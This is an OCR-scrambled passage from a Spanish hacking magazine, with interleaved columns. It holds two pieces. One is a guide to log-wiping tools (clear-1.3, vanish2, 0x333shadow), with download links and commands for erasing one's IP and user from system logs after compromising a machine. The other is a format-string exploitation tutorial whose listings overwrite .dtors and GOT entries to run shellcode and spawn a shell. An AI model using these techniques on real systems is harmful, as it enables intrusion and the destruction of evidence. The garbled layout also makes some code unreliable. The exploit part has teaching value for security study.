cat y grep se pueden hacer maravillas vamos a la consola, entramos al
(ahora veremos algún ejemplo), pero directorio donde tenemos el clear-1.3 El vanish2 es más completito, le pasas
para los binarios lo tenemos más difícil, y tecleamos “make” para compilarlos. el usuario, el hostname y la IP que
por eso necesitamos los zappers ;). Si no hay ningún problema ya lo quieres borrar y los busca por todos
Vamos a ver tres zappers, el clear-1.3 tendremos compilado. Os estaréis esos ficheros, y cuando lo localiza... se
del conjunto de utilidades thc-uht del preguntando que diferencia hay entre lo carga :) Lo podéis bajar de
grupo THC, el 0x333shadow del grupo clear13a y clear13b... Pues bien, los http://packetstorm.linuxsecurity.com/
0x333 y el vanish2 de “Neo the dos borran los logs del usuario que le UNIX/penetration/log-wipers
Hacker”. pases como argumento en la línea de /vanish2.tgz, lo único que habrá que
comandos, pero clear13a borra TODAS editar el fichero vanish2.c y en todas
Para instalar clear-1.3 debemos bajar las entradas de ese usuario, mientras las funciones exit() que salen añadir un
el thc-uht (THC-UnixHackingTools) de que clear13b solo borra la última 0 al paréntesis, si no dará error al
http://www.thc.org/download.php?t=r entrada. Uno puede ser útil para unas compilarlo. Os lo podéis bajar ya
&f=thc-uht1.tgz y descomprimirlo, una situaciones y el otro para otras, por compilado de www.hackxcrack.com
vez descomprimido veremos muchas ejemplo si hemos comprometido la /programas/vanish2.zip, pero lo he
utilidades, entre ellas habrá un archivo máquina y nos hemos logueado una sola compilado con la ruta de mis logs de
comprimido llamado “clear-1.3.tar.gz”, vez podemos utilizar el clear13b, si en apache2, que es /var/log/apache2, si
lo descomprimimos (tar xvfz clear- cambio hemos estado utilizándola como tenéis esta misma ruta pues adelante
1.3.tar.gz) y nos creará una carpeta dump, o bouncer, y nos hemos logueado si no editarlo a mano y añadirle los 0 a
las funciones exit().
Figura 7
Su sintaxis es sencilla: “./vanish2
<user> <host> <IP>”, como root. Este
zapper busca en los archivos WTMP,
UTMP, lastlog, messages, secure,
xferlog, maillog, warn, mail,
httpd.access_log, y httpd.error_log.

Ejemplo:
./vanish2 hackxcrack HxC
212.124.113.53 -> Borrará todos los
logs que contengan el usuario
hackxcrack, o el host HxC o la IP
212.124.113.53

El 0x333shadow es bastante más


completo que los dos anteriores, lo
bajamos de http://packets
tormsecurity.org/UNIX/penetration/log-
w i p e r s / 0 x 3 3 3 s h a d o w . t a r. g z , l o

32
descomprimimos y lo compilamos con -m podemos especificar archivos log /var/log/apache2/access.log | grep -v
gcc 0x333shadow.c -o 0x333shadow - que hayamos visto en el sistema y que NUESTRAIP >/var/log/apache2
D Linux. Es capaz de matar syslogd, y el programa no “los conozca”, o si los /access.log”, o para borrar nuestros
por defecto busca en los directorios logs están en otro directorio. Podemos intentos de logueo “cat /var/log/auth.log
/var/log, /var/adm, /usr/adm, /var/mail. especificar más de un archivo/directorio, | grep -v NUESTROUSER >/var/log/
El uso y sus opciones lo podéis ver separados por un espacio. auth.log”, y así con los que queramos.
vosotros mismos ejecutándolo sin ningún El parámetro “-v” de grep lo que hace
parámetro, pero lo voy a explicar de Ejemplos: es no mostrar las coincidencias.
todas formas, por si las dudas :P
./0x333shadow -i 212.124.113.53 -m
Su sintaxis es: ./0x333shadow [acción] /var/log/apache2/access.log -> Borrará
-i [cadena] -l [segundos] -m [dir1/ todos los logs de la IP 212.124.113.53
archivo1] [dir2/archivo2] [...] del archivo access.log del Apache2. Bueno pues ya hemos visto lo más
básico de logs en GNU/LiNUX y UniX en
Acción: Pueden ser dos opciones, “-a” ./0x333shadow -b -i hackxcrack -l 30 - general, nos hemos dejado cosas como
o “-b”. El primero limpia los directorios > Borrará todos los logs del usuario la rotación de logs, logcheck, pero yo
por defecto que tengan la cadena que hackxcrack en los archivos de log creo que con esto y Google es suficiente,
especifiquemos. El segundo lo mismo binarios cuando pasen 30 segundos. de todas formas si tenéis interés decirlo
que el primero, pero este solo limpiará en el foro y se hace una ampliación...
los logs binarios (utmp, wtmp, utmpx, ./0x333shadow -a -i hackxcrack -> Si os han quedado dudas, por favor
wtmpx y lastlog). Borrará todo log que contenga la cadena decirlo en el foro y yo o los demás
“hackxcrack”. usuarios intentaremos aclararlas, pero
Cadena: Lo que queremos que borre no os quedéis con ellas ;) La url del foro
en caso de que coincida esta cadena, e s : h t t p : / / w w w. h a c k x c r a c k . c o m /
por ejemplo nuestra IP. phpBB2/index.php

Segundos: Da la posibilidad de que Los logs de texto plano podemos Sin más, hasta otra!!
empiece la limpieza de logs pasados los modificarlos a mano, o desde un
segundos que especifiquemos, esto es shellscript creado por nosotros, tan solo Iván Alcaraz
útil porque podemos desloguearnos y con programas típicos de unix cat o <ivanalcaraz@telefonica.net>
esto hará que limpie el logout también. grep. Un ejemplo podría ser borrar los DiSTuRB
Dir1/archivo1...: Gracias al parámetro logs de Apache, podríamos hacer: “cat

PON AQUÍ TU PUBLICIDAD


Contacta DIRECTAMENTE con
nuestro coordinador de publicidad
INFÓRMATE
¡sin compromiso!
610 52 91 71

precios desde
99 euros
33
Ya estoy aquí de nuevo ;-). Después de aprender en los dos artículos anteriores cómo explotar
un buffer overflow, tanto en la pila como en el Heap (memoria dinámica), hoy vamos a analizar
un tipo de vulnerabilidad diferente. Se trata de un fallo de programación descubierto
recientemente (comparado con los desbordamientos de buffer), relativo al uso de las llamadas
cadenas de formato o format strings en inglés. Durante el artículo veremos cómo se usan las
cadenas de formato, qué funciones hacen uso de ellas, y cómo no debemos usarlas para evitar
dichas vulnerabilidades en nuestros programas. Además, aprenderemos a explotar dichos
errores de programación, tratando de conseguir ejecutar código arbitrario en nuestras
aplicaciones ;-). Vamos al grano.

En este código puedes ver dos cadenas de formato. La


del primer printf no es realmente una cadena de formato,
Las cadenas de formato son unas cadenas de carac-teres pues en realidad es una cadena normal, sin código de
utilizadas por ciertas funciones, llamadas funciones de formato alguno. Únicamente lleva un carácter especial,
formato, para especificar el formato de su salida por \n, que sirve para especificar un salto de línea. Sin
pantalla. Así, tenemos la familia de funciones de printf, embargo, la segunda llamada a printf sí que contiene una
entre las cuales encontramos las funciones printf, sprintf, cadena de formato propiamente dicha. Vamos a ver en
fprintf, que utilizan uno de sus argumentos como cadena detalle lo que contiene dicha cadena.
de formato, para especificar el formato en el que se
escribirá la salida por pantalla, en otra cadena, o en un En primer lugar, identificamos los llamados especificadores
archivo respectivamente. de conversión (al menos así son llamados en la página
del manual de la función printf en mi sistema). Éstos son
Así pues, veamos un ejemplo para ver qué pinta tiene los bloques de caracteres compuestos por el signo %,
una cadena de formato:(ver listado 1). seguido de una o varias letras que identifican el tipo de
variable a escribir por pantalla (en el caso de printf). Cada
uno de estos especificadores va asociado a una de las
variables que se pasan como parámetro justo después de
la cadena de formato. Así, el %d va asociado a la variable
i, el %f a la variable f, %c a la variable a, y %s a la
variable cad. De esta forma, cuando printf se ejecute,
sustituirá el valor de dichos especificadores por el valor
de las variables correspondientes, según el código de
formato especificado.

En la tabla 1 puedes ver los códigos de formato más


Listado 1

34
de formato. Por tanto, si queremos
mostrar el entero que se ha pasado
como tercer parámetro (la variable c en
este caso), pondremos %3$d en la
cadena de formato.

Ahora sí, pasemos a ver cuál es el


problema de las cadenas de formato si
las utilizamos mal ;-).

Tabla 1

tuxed@athenea:~/Artículos HxC/art3$ gcc ejemplo1.c -o ejemplo1


tuxed@athenea:~/Articulos HxC/art3$ ./ejemplo1
Pues bien, el problema con las cadenas
Soy una cadena de formato :-P
i= 10 f=2.560000 a=X cad="Hola!" de formato es muy simple. Cuando
Lalalala probando el identificador %n usamos una función como printf para
Escritos= 38 imprimir una cadena alojada en una
tuxed@athenea:~/Articulos HxC/art3$ variable determinada, según lo visto
anteriormente, lo que debemos hacer
Listado 2 es lo siguiente:
m í n i m o d e l c a m p o. Po r e j e m p l o,
podemos poner %8x para especificar printf(“%s”, la_cadena);
que como mínimo se van a imprimir por
pantalla 8 caracteres. Ojo porque este Sin embargo, puesto que la función
Listado 3 valor es mínimo, y si ponemos un valor printf imprime también la cadena de
de caracteres menor que el real, se formato (sustituyendo los conversores
usuales, su significado, y el tipo de imprimirá el real, y no el mínimo. especificados por variables), alguien
variable que esperan. En el campo Tipo puede pensar que podríamos omitir el
de Variable, se especifica el modo en Sabiendo todas estas cosas, ya sabemos primer parámetro (la cadena de formato
que se pasa el argumento. Cuando perfectamente qué es lo que nos van a en sí), y llamar a printf con un único
pasamos una variable a una función, su devolver las llamadas a printf del argumento (en este caso, nuestra
valor se copia en la pila, por lo que se ejemplo anterior. Vamos a compilar y variable la_cadena). Suena bastante
llama paso de parámetros por valor. Si ejecutar para comprobar que pasa lo lógico, y funciona. Sin embargo, si la
lo que pasamos es un puntero a una que todos creemos que pasa ;-) :(ver variable la_cadena es proporcionada
variable, lo que se guarda en la pila es listado 2) por el usuario, nadie le impide poner
una dirección de memoria, y esto se códigos de formato en ella, verdad?
llama paso de parámetros por referencia. Parece que sí, verdad? :-). Bien, creo Pues con esta cosa tan simple, ya
Por tanto, en dicho campo se ha diferen- que ahora todos sabemos cómo podemos hacer que el programa falle y
ciado entre valor y referencia, respecti- funcionan las cadenas de formato, así se cierre, o incluso como veremos más
vamente. Por otra parte, cuando digo que ya podemos ponernos a investigar adelante, podremos ejecutar código
Imprime por pantalla en la tabla, es por debajo de ellas. Sin embargo, antes arbitrario :-P.
porque me baso en la función printf, pero de ello os voy a explicar un detallito
otras funciones imprimen en una cadena, más, que puede que nos sea útil más Antes de ponernos a ver realmente cómo
un archivo, u otros sitios (Tabla 1). adelante. Dicho detalle no es más que hacerlo, probemos a crear un programita
podemos acceder directamente a un simple con un fallo de este tipo, y a
Conviene notar el identificador especial parámetro determinado de la función pasarle la cadena de formato que
%n. Dicho identificador, como la tabla de formato, mediante una simple queramos. Simplemente tomaremos el
indica, no imprime nada por pantalla, modificación en la cadena de formato. primer argumento del programa y lo
sino que escribe en la dirección de memo- Es lo que se llama Direct Parameter pasaremos a printf directamente, sin
ria pasada como argumento el número Access, y se utiliza así: hacer nada más. El código será éste:
de caracteres que se ha mostrado hasta (ver listado 3)
el momento. Este identificador es impor- printf(“%3$d”,a,b,c);
tante para nosotros, pues como veremos Compilamos y ejecutamos un par de
más adelante, nos va a permitir escribir D e e s t a m a n e ra , s i t e n e m o s u n veces con distintos especificadores de
en memoria lo que deseemos :-). identificador de formato, por ejemplo formato, a ver qué pasa:(listado 4)
%d, pondremos %X$d, siendo X el
Además de esto, el conversor puede número de parámetro que queremos Como se puede apreciar, al especificar
especificar otras cosas, como el ancho que sea utilizado por dicho conversor algún conversor de formato, printf lee

35
que la variable shell, localizada en
tuxed@zeus:/tmp$ gcc ejemplo2.c -o ejemplo2 0xbfffb6b, contiene la cadena /bin/bash.
tuxed@zeus:/tmp$ ./ejemplo2 "int: %d " El programa environm es el código env.c
int: -1073743042 tuxed@zeus:/tmp$ ./ejemplo2 "float: %f" utilizado en los artículos anteriores,
float: 0.000000tuxed@zeus:/tmp$ ./ejemplo2 "hexa: %x "
compilado y guardado como environm,
hexa: bffffb3d tuxed@zeus:/tmp$
puesto que tiene los mismos caracteres
Listado 4 que el nombre del programa vulnerable
(para no tener que sumar ni restar nada
tuxed@zeus:/tmp$ ./ejemplo2 "AAAA: %x.%x.%x.%x.%x "
a la dirección devuelta :-P ). En el foro
AAAA: bffffb31.4.0.41414141.7825203a tuxed@zeus:/tmp$
puedes encontrar tanto éste como todos
Listado 5 los demás códigos que utilizo en mis
tuxed@zeus:/tmp$ ./environm SHELL
artículos ;-).
La variable SHELL está en la dirección 0xbffffb6b
tuxed@zeus:/tmp$ ./ejemplo2 "`printf "\x6b\xfb\xff\xbf"`. %4\$s " Además debes tener en cuenta que para
kûÿ¿. /bin/bash tuxed@zeus:/tmp$ poner la dirección de memoria, he usado
el comando printf de la shell bash, y la
Listado 6
sustitución de caracteres de bash.
un valor de la memoria, y lo imprime Como algunos ya sabéis, el número También podía haber usado perl, tal y
en el lugar adecuado de la cadena de 0x41 (el 65 en decimal) es el código como hicimos en los artículos anteriores.
formato. Pero, ¿de dónde salen esos ASCII de la letra A, así que lo que ha Bien, ahora ya sabemos leer cualquier
valores? Si has leído el primero de mis salido como cuarto parámetro es el valor c a d e n a q u e h aya a l m a c e n a d a e n
artículos, pensando un poco lo podrás AAAA, que son los cuatro primeros bytes memoria, pero... ¿qué más nos puede
adivinar. Si no lo has leído, ahora mismo de nuestra cadena de formato. Justo interesar? Si recuerdas el artículo
te explico un poco el tema ;-). después, viene el código ASCII de los a n t e r i o r, c u a n d o h a b l a m o s d e
cuatro caracteres siguientes: desbordamientos en el Heap, vimos que
0x7825203a . Si buscas en cualquier éstos no posibilitaban escribir cualquier
Cuando llamamos a una función, los
tabla ASCII (como la de www.ascii cosa en una dirección de memoria a
parámetros de ésta se guardan en la
pila del sistema. Así, cuando la función table.com ) podrás ver que el carácter nuestra elección. Vimos entonces que
necesita acceder a algún parámetro, : tiene el código 0x3a, el espacio es el esto nos podía servir para lograr ejecutar
accede a la pila y recoge su valor. Así 0x20, y así sucesivamente (ten en código en el proceso víctima, pudiendo
pues, cuando en una cadena de formato cuenta que la memoria es little-endian, así conseguir ejecutar una shell con los
especificamos un conversor de formato, con lo que los bytes de menor peso se privilegios de dicho proceso.
pero no hay un parámetro asociado, lo guardan primero, y por eso en cada
que estamos haciendo es leer directa- valor mostrado los bytes están Pues bien, con las cadenas de formato
mente de la pila. De esta forma, pode- invertidos). podemos conseguir exactamente lo
mos leer la pila del programa vulnerable, mismo, o incluso más ;-). Vamos a ver
haciendo algo así:(listado 5) Así pues, si pusiéramos un %s en el en la siguiente sección cómo escribir en
cuarto parámetro en lugar de un %x, el memoria.
programa trataría de leer en la dirección
Como ves, hemos leído 5 números de
0x41414141, puesto que %s lee de la
32 bits en hexadecimal, gracias al
dirección de memoria especificada como
parámetro %x. Si quisiéramos haber
parámetro. Por tanto, si al principio de
leído más datos, habríamos puesto más
la cadena de formato ponemos una
veces el conversor %x, y obtendríamos
dirección de memoria, y luego pasamos Esto se pone interesante :-). Queremos
los datos de la pila. Sin embargo, no
el especificador de formato %4$s, escribir algo en memoria mediante una
sólo existe la pila en un proceso, y en
leeremos lo que haya en esa posición cadena de formato y una llamada a
otras secciones de la memoria puede
(nos lo mostrará como una cadena). printf, ¿se te ocurre algo? Te propongo
haber datos realmente interesantes, así
Probemos a localizar una variable de que retrocedas un poco y mires otra
que algo habrá que inventar para leer
entorno cualquiera, por ejemplo la vez en la tabla que puse con los distintos
memoria de cualquier lugar.
variable SHELL, y leerla mediante la especificadores de formato, a ver si
cadena de formato:(listado 6) alguno te da una pista de cómo podemos
escribir datos en memoria ;-).
En la salida anterior debéis tener en
cuenta que el símbolo $ es interpretado Bien, ahora que ya has leído de nuevo
por la shell bash como el inicio del la tabla, habrás visto que el único
Si te fijas en el listado 5, verás que en nombre de una variable, y por ello lo identificador que permite escribir en
la respuesta, el cuarto %x se ha hemos tenido que escapar con el memoria es el %n, verdad? Como la
sustituido por el valor 0x41414141. carácter \.En ésta se puede observar tabla muestra, dicho identificador escribe

36
en la dirección de memoria recibida el valor 0xfffffffc (-4 codificado en campo ( padding o relleno), como he
como parámetro, la cantidad de datos complemento a dos). Pues bien, explicado al principio. Así, si queremos
que se han sacado por pantalla hasta tratemos de modificar el valor de dicha escribir un 0x0C (valor 12 en decimal),
el momento. Entonces, si queremos variable. Como he dicho, tenemos que debemos poner un relleno de 8
escribir un número determinado en una pasar la dirección de la variable, y luego caracteres, con lo que pondríamos lo
dirección de memoria determinada, sólo el especificador %n aplicado al cuarto siguiente:(listado 10)
tenemos que escribir dicha dirección de parámetro (esto es, la propia cadena
Como puedes observar, el efecto ha
memoria, escribir tantos caracteres de formato):(listado 9)
sido el deseado. Así pues, ya sabemos
como sean necesarios para llegar a dicho
escribir el byte que deseemos,
número, y utilizar el operador %n sobre Como ves, el valor de la variable i se
solamente utilizando un padding
el principio de nuestra cadena de ha modificado por 4. En realidad, el
determinado en el identificador %x de
formato. valor que ha tomado es 0x00000004,
nuestra cadena de formato.
que es la codificación del número entero
No sé si me he explicado bien, pero creo 4, y éste es a su vez el número de
Ahora veamos qué pasa si queremos
que con un ejemplo os quedará claro. caracteres que hay antes del %4$n.
e s c r i b i r, p o r e j e m p l o , e l v a l o r
Para ver esto, vamos a usar una versión Pero, cómo hacemos para escribir el
0xDDCCBBAA en la variable i. Teniendo
modificada del ejemplo anterior, en la valor que nosotros queramos? Pues
en cuenta el hecho de que los datos se
que hemos agregado una variable con vamos a hacerlo mediante cuatro
codifican en little-endian en la
un valor determinado, y la mostraremos escrituras sucesivas en memoria,
arquitectura Intel x86, tendremos que
por pantalla. Así podremos comprobar escribiendo en cada una de ellas un byte
poner el byte menos significativo en la
en tiempo real qué es lo que estamos arbitrario.
primera posición de memoria, después
sobrescribiendo.(listado 7)
el segundo menos significativo, y así
Sin embargo, de momento solo sabemos
sucesivamente.
Bien, sobre este código, vamos a escribir un 0x04 en la dirección que
intentar modificar la variable i. Para queramos. Cómo escribimos otro byte? Además, como estamos escribiendo un
ello, primero ejecutaremos el programa Pues es bastante más fácil de lo que entero del cual solo se utiliza un byte,
con una línea cualquiera como pueda parecer. Solo tenemos que escribir habrá tres bytes nulos en las posiciones
parámetro, para ver la dirección de tantos caracteres antes de realizar la de memoria contiguas a las que nos
i:(listado 8) escritura como el número que queremos interesan, quedando las escrituras en
escribir menos cuatro. memoria como indica la imagen 1. En
Como puedes observar, la variable i ella puedes ver el estado de la memoria
está en la dirección 0x0849560 (he Pero imagina que quieres escribir el después de las sucesivas escrituras en
agregado el 0 delante porque no tenía va l o r 0 x F F, d e b e r í a s p o n e r 0 x F B memoria. Los signos XX indican un
los 8 caracteres que tocaban) y tiene caracteres entre la dirección de memoria estado desconocido de la memoria.
y el código %4$n, y esto sería un poco
cansino repetirlo 4 veces, no? Pues bien,
tenemos una solución muy simple ;-).
Se trata de poner un código de formato
que especifique un ancho mínimo del

Listado 7
tuxed@zeus:/tmp$ gcc ejemplo3.c -o ejemplo3
tuxed@zeus:/tmp$ ./ejemplo3 lalala
lalala
Imagen 1
i en 0x8049560 : fffffffc
Bien, puesto que queremos realizar
tuxed@zeus:/tmp$
cuatro escrituras en memoria, debemos
Listado 8
proporcionar cuatro direcciones de
tuxed@zeus:/tmp$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%4\$n"`
memoria correlativas. Como la variable
#
i está en 0x08049560, tendremos que
i en 0x8049560 : 4 poner desde ésta a la dirección
tuxed@zeus:/tmp$ 0x08049563. Así pues, las direcciones
Listado 9 de memoria escribirán 16 bytes (0x10
en hexadecimal). Para escribir el primer
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%8x%4\$n"`
byte (0xAA) deberemos escribir en
bffffb2f
memoria 0xAA – 0x10 = 0x9A (154
i en 0x8049560 : c
tuxed@zeus:~/art3$ decimal). Así pues, debemos poner un
relleno de 154 y luego un %4$n.
Listado 10

37
¿Qué pasará si en lugar de poner 0xAA
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95
\x04\x08\x63\x95\x04\x08"`%154x%4\$n%17x%5\$n%17x%6\$n% 17x%7\$n" cogemos y ponemos 0x1AA ?
`ab c bffffb09 4 0 8049560 Evidentemente, el byte que a nosotros
i en 0x8049560 : ddccbbaa nos interesa, que es el de menos peso,
tuxed@zeus:~/art3$ sigue siendo el mismo, y conseguiremos
un valor superior a, por ejemplo, 0xBB.
Listado 11
Con esto, aumentando el valor del byte
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95 de la izquierda en uno sucesivamente,
\x04\x08\x63\x95\x04\x08"`%205x%4\$n%239x%5\$n%239x%6\$n% 239x%7\$n" vamos a conseguir escribir valores
` ab c bffffb06 40 8049560 mayores al que acabamos de escribir,
i en 0x8049560 : aabbccdd pudiendo así realizar cualquier escritura
tuxed@zeus:~/art3$
en memoria :-). Esta vez el estado de
Listado 12 la memoria será un poco diferente, como
static void inicio(void) __attribute__ ((constructor));
puedes ver en la Imagen 2.
static void final(void) __attribute__ ((destructor));
Vamos pues a ver cómo podemos
Listado 13 escribir el valor 0xAABBCCDD en la
tuxed@zeus:~/art3$ objdump -h ejemplo3 variable i. Debemos tener en cuenta
ejemplo3: formato del fichero elf32-i386 que esta vez lo primero a escribir es
Secciones: DD, luego el primer relleno es 0xDD –
Ind Nombre Tamaño VMA LMA Desp fich Alin 0x10 = 0xCD (205 decimal). Para los
[...] siguientes, otra vez tenemos la misma
distancia de unos a otros: 0x1CC – 0xDD
17 .ctors 00000008 08049630 08049630 00000630 2**2
= 0x2BB – 0x1CC = 0x3AA – 0x2BB =
CONTENTS, ALLOC, LOAD, DATA
0xEF ( 239 decimal) , con lo que ya po-
18 .dtors 00000008 08049638 08049638 00000638 2**2
demos realizar la escritura:(listado 12)
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 08049640 08049640 00000640 2**2
CONTENTS, ALLOC, LOAD, DATA Una vez más, obtenemos el resultado
20 .got 0000001c 08049644 08049644 00000644 2**2 deseado :-). Ahora ya somos capaces,
mediante un error en el uso de las
CONTENTS, ALLOC, LOAD, DATA cadenas de formato de un determinado
[...] programa, de escribir un valor arbitrario
tuxed@zeus:~/art3$ de 32 bits (más 3 bytes nulos que no
Listado 14 tendremos en cuenta :-P ) en cualquier
iguales, los siguientes (0xCC y 0xDD) lugar del espacio direccional (la
se calculan exactamente igual, y el memoria) de ese proceso. Así pues, qué
resultado es el siguiente:(listado 11) podemos hacer? Los que leísteis mi
anterior artículo en esta misma revista,
El resultado es, efectivamente, el de- ya tendréis una idea de dónde atacar,
seado :-). Ahora bien, como has visto, pero como seguro que alguien no lo ha
hemos tenido la suerte (porque lo he leído, voy a volver a mostrar cómo
modificar la GOT (Global Offset Table)
preparado así :-P ) de que cada valor a
para redirigir el flujo de nuestro
Imagen 2 e s c r i b i r e r a m a y o r q u e e l va l o r
programa. Pero tranquilo, que si ya
inmediatamente posterior, con lo que
sabes hacerlo, todavía tienes algo nuevo
la diferencia era positiva, y aumentando en este artículo: modificación de la
Para poder escribir los siguientes el relleno dicha diferencia, conseguimos sección .dtors del ejecutable ;-).
valores, habrá que poner un relleno de escribir lo que deseamos. Pero, ¿y si
(valor siguiente) – (valor actual). En esto no ocurre, y un valor es inferior al
este caso, 0xBB – 0xAA = 0x11 (17 inmediatamente anterior? Pues no
decimal). Después pondremos el podríamos hacerlo, puesto que no
identificador de formato que realizará
podemos poner desplazamientos
la escritura en memoria, %5$n en este He decidido explicar primero esta sección
negativos... ¿O sí podríamos escribirlo?
caso, pues queremos coger la segunda y dejar para el final del artículo el tema
Pues sí, pero no del mismo modo. Para
dirección de memoria proporcionada en de la modificación de la GOT para que
la cadena de formato. realizar la escritura en este caso, los que leísteis el artículo anterior no
tendremos que valernos de un pequeño os durmáis :-P. Así, podéis seguir
Para no aburriros con más cálculos truco: leyendo el artículo y luego si a alguien

38
le interesa recordar lo de la GOT, pues
tuxed@zeus:~/art3$ objdump -s ejemplo3 -j .dtors
ahí lo tiene.
ejemplo3: formato del fichero elf32-i386
Contenido de la sección .dtors:
Bien, cuando compilamos con gcc, al
8049638 ffffffff 00000000 ........
crear un ejecutable en formato ELF
(Executable and Linkng Format) se Listado 15
añaden un par de secciones llamadas char scode[]="\x31\xc0\x50\x68\x2f \x2f \x73\x68\x68\x2f \x62\x69\x6e\x89
.ctors y .dtors al archivo resultante. En \xe3\x50\x54\x53\x50\x8c\xe0” “\x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\x52
la primera de ellas, se almacenan las \x53\x89\xe1\xcd\x80";
direcciones de las funciones definidas
Listado 16
con el atributo constructor, mientras
que en la segunda las de las funciones tuxed@zeus:~/art3$ printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
definidas con el atributo destructor. x89\xe3\x50\x54 \x53\x50\x8c\xe0\x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\
x52\x53\x89\xe1\xcd\x80">scode
Las funciones definidas como constru- tuxed@zeus:~/art3$ export SCODE=`cat scode`;
tuxed@zeus:~/art3$ gcc env.c -o environm
ctores, son ejecutadas justo antes del
env.c: En la función `main':
main(), mientras que las funciones
env.c:6: aviso: asignación se crea un puntero desde un entero sin una conversión
definidas como destructores, se ejecutan
tuxed@zeus:~/art3$ ./environm SCODE
justo antes de la salida del programa.
La variable SCODE está en la dirección 0xbffffb13
Para definir un constructor o un destruc- tuxed@zeus:~/art3$
tor, deberemos hacerlo así: (listado 13)
Listado 17
Así estaríamos declarando la función almacenarla y localizarla en memoria.
inicio como constructor, y la función sección .dtors del ejemplo3, y veremos Aquí os muestro la propia shellcode en
final como destructor. Bien, pero... qué su formato ;-) : (listado 15) el formato de array de carac-
pintan los constructores y destructores teres:(listado 16)
Como puedes observar, la sección .dtors
en todo esto? Vamos a echar un ojo al
del programa ejemplo3, mapeada en Y en los siguientes comandos, la creación
programa compilado antes (código
memoria en la dirección 0x08049638, del archivo scode con ella, la creación
ejemplo3.c) mediante la aplicación
empieza con un 0xFFFFFFFF y acaba de una variable de entorno donde
objdump a ver si encontramos la sección
con un 0x00000000. Esto es así porque alojarla, y la localización de ésta
.dtors y .ctors:(listado 14)
esta vez no tenemos ningún destructor. mediante el programa env.c que podéis
En la salida anterior (recortada) encontrar junto con los demás paquetes
Sin embargo, si tuviésemos
podemos observar que las secciones en el siguiente post del foro:
destructores, sus direcciones aparecerían http://www.hackxcrack.com/phpBB2/
llamadas .ctors, .dtors y .got son correlativamente entre 0xFFFFFFFF y viewtopic.php?p=177492 ;-). Ten en
secciones en las que se puede escribir 0x00000000. Así pues, cuando vaya a cuenta que he compilado con el nombre
(de lo contrario estarían marcadas con salir nuestro programa, lo que hará será environm (misma longitud que
el atributo READONLY. Además, sabemos irse a la sección .dtors, y empezar a ejemplo3) debido a la variación de la
que las direcciones de los destructores hacer llamadas a las direcciones que se posición de las variables de entorno con
están en .dtors, y que además éstos encuentran justo detrás del 0xFFFFFFFF el nombre del programa. Si quieres más
son llamados SIEMPRE al finalizar el (dirección de .dtors + 4) hasta llegar al detalles sobre esta variación, puedes
programa. 0x00000000. Por tanto, si nosotros leerlos en el artículo publicado en el
modificamos el 0x00000000 con la número 27 sobre desbordamientos de
Sin embargo, nosotros no hemos creado dirección de nuestro código máquina buffer en la pila. Aquí van los
ningún destructor en el ejemplo3.c, pero (shellcode), tendremos como resultado comandos:(listado 17)
ahí aparece la sección (aunque como la ejecución de dicho código justo antes
luego veremos está vacía). Así pues, de que el programa atacado termine ;-) Bien, una vez localizada, ya sabemos
podemos concluir que estas secciones qué hay que escribir y dónde hay que
aparecen en cualquier binario ELF Así pues, vamos a probar a hacerlo. hacerlo. Así pues, solo nos queda llevarlo
compilado con gcc, aunque el Como hemos visto en la salida del a la práctica ;-) Vamos a realizar los
programador no haya puesto ningún comando objdump, tenemos la sección cálculos por anticipado:
constructor/destructor. .dtors en la dirección 0x08049638, así
que tendremos que escribir en 1ª escritura: Dirección 0x0804963c,
Bien, ¿y qué es lo que incluye dicha 0x0804963c la dirección de nuestra relleno 0x13 – 0x10 = 0x03 (15 decimal)
sección? O mejor dicho, ¿Cómo se shellcode.
incluyen las direcciones de las funciones 2ª escritura: Dirección 0x0804963d,
en dicha sección? ¿Qué formato se Una vez más, voy a usar la misma relleno 0xFB – 0x13 = 0xE8 ( 232
sigue? Vamos a echarle un ojo a la shellcode, y el mismo método para decimal)

39
curityfocus.com/archive/1 y realizar una
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96 búsqueda por “format strings”, a ver
\x04\x08\x3f\x96\x04\x08"`%3x%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
qué encontráis ;-) ). En dicho caso, tu
<=>?bffffadc 4 0 804963c
red podría haber sido totalmente
i en 0x8049560 : fffffffc
comprometida, por un fallo tan tonto
Violación de segmento
tuxed@zeus:~/art3$
como no usar adecuadamente las
cadenas de formato.
Listado 18
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96 Ahora que ya hemos hablado de los
\x04\x08\x3f\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n" destructores, vamos a repasar en la
<=>? Ü 40 804963c
siguiente sección cómo conseguir la
i en 0x8049560 : fffffffc
ejecución de nuestra shellcode mediante
sh-3.00$
la modificación de la GOT.
Listado 19
tuxed@zeus:~/art3$ objdump -R ejemplo3
ejemplo3: formato del fichero elf32-i386
DYNAMIC RELOCATION RECORDS Bien, esta sección es más bien de repaso
OFFSET TYPE VALUE
del número anterior, pues si lo has leído
0804965c R_386_GLOB_DAT __gmon_start__
ya sabrás qué es la GOT y como
08049650 R_386_JUMP_SLOT __libc_start_main
aprovecharse de ella para conseguir la
08049654 R_386_JUMP_SLOT printf
08049658 R_386_JUMP_SLOT strcpy
ejecución de la shellcode. Sin embargo,
como ya he explicado antes, voy a volver
tuxed@zeus:~/art3$ a mencionarlo por si alguien se perdió
el artículo anterior, pero realizando las
Listado 20 modificaciones con cadenas de formato
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96 esta vez.
\x04\x08\x57\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n" Bueno, y qué es la GOT? La GOT es una
sh-3.00$ sección de los ejecutables ELF que
contiene las direcciones de las funciones
Listado 21 de otras librerías ejecutadas por nuestro
programa. Esta sección, como habrás
